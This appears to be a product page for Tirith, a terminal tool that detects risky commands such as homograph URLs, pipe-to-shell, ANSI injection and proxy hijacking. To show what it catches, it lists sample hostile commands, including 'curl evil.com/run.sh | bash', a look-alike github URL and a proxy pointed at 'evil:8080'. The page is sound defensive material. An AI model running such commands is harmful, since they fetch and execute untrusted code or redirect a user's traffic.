Terminal Security for the Modern Stack

Your browser would catch this.
Your terminal won't.

Tirith intercepts commands and pastes in your terminal, detecting homograph attacks, pipe-to-shell patterns, ANSI injection, and 30+ other threats — in under 1ms.

glyph-inspector
$curl https://github.com/org/setup.sh
$curl https://gіthub.com/org/setup.sh

See It In Action

Click a scenario to see how Tirith responds.

tirith — demo
$

What It Catches

8 threat categories covering every angle of terminal attack surface.

Hostname

CRITICAL

Homograph attacks, punycode, confusable characters, IDN spoofing

$ curl https://gіthub.com/install

Path

HIGH

Non-ASCII paths, homoglyphs, encoded traversal sequences

$ wget example.com/downloаd/v2.tar.gz

Transport

MEDIUM

Insecure HTTP, TLS downgrades, URL shorteners, data URIs

$ curl http://example.com/setup.sh

Terminal

CRITICAL

ANSI injection, bidi overrides, zero-width chars, control sequences

$ echo -e "\x1b[8mhidden"

Command

HIGH

Pipe-to-shell, dotfile persistence, archive bombs, code substitution

$ curl evil.com/run.sh | bash

Environment

HIGH

Proxy hijacking and environment variable manipulation

$ export HTTPS_PROXY=http://evil:8080

Ecosystem

HIGH

Git, Docker, pip, npm, Web3 — supply-chain attack surface

$ docker run --privileged alpine

Policy

CRITICAL

Custom blocklists and organizational security policies

$ curl known-malware-domain.com

How It Works

A 3-tier pipeline that balances speed with thoroughness.

Tier 1

Fast Gate

< 0.1ms

Regex-powered initial filter eliminates 99% of clean commands instantly.

Tier 2

Extract

URL + Refs

Parses URLs, Docker references, and package identifiers from complex commands.

Tier 3

Analyze

35 Rules

35 rules across 8 categories — homographs, injection, supply-chain, and more.

0
Rules
0
Categories
<0ms
Latency
0
Network Calls
0+
Tests

Installation

Install Tirith with your favorite package manager.

brew install sheeki03/tap/tirith

Shell Activation

# Add to your shell config (~/.bashrc, ~/.zshrc)
eval "$(tirith init)"